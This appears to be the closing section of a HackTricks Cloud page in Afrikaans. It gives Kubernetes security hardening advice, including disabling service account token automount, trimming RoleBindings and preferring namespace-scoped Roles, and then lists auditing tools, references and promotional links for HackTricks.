Deaktiveer Automount van Diensrekening Tokens

• Pods en Diensrekeninge: Standaard monteer pods ’n diensrekeningtoken. Om sekuriteit te verbeter, laat Kubernetes die deaktivering van hierdie automount-funksie toe.
• Hoe om toe te pas: Stel automountServiceAccountToken: false in die konfigurasie van diensrekeninge of pods vanaf Kubernetes weergawe 1.6.

Beperkte Gebruikerstoewysing in RoleBindings/ClusterRoleBindings

• Selektiewe Insluiting: Verseker dat slegs nodige gebruikers ingesluit word in RoleBindings of ClusterRoleBindings. Oudit gereeld en verwyder onbelangrike gebruikers om strenger sekuriteit te handhaaf.

Namespace-Spesifieke Rolle Bo Cluster-Wye Rolle

• Rolle vs. ClusterRoles: Verkies om Rolle en RoleBindings te gebruik vir namespace-spesifieke toestemmings eerder as ClusterRoles en ClusterRoleBindings, wat cluster-wyd van toepassing is. Hierdie benadering bied fynere beheer en beperk die omvang van toestemmings.

Gebruik geoutomatiseerde gereedskap

GitHub - cyberark/KubiScan: A tool to scan Kubernetes cluster for risky permissions

GitHub - aquasecurity/kube-hunter: Hunt for security weaknesses in Kubernetes clusters

GitHub - aquasecurity/kube-bench: Checks whether Kubernetes is deployed according to security best practices as defined in the CIS Kubernetes Benchmark

Verwysings

• https://www.cyberark.com/resources/threat-research-blog/securing-kubernetes-clusters-by-eliminating-risky-permissions
• https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-1
• https://blog.rewanthtammana.com/creating-malicious-admission-controllers
• https://kubenomicon.com/Lateral_movement/CoreDNS_poisoning.html
• https://kubenomicon.com/

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

• Kyk na die subskripsie planne!
• Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
• Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.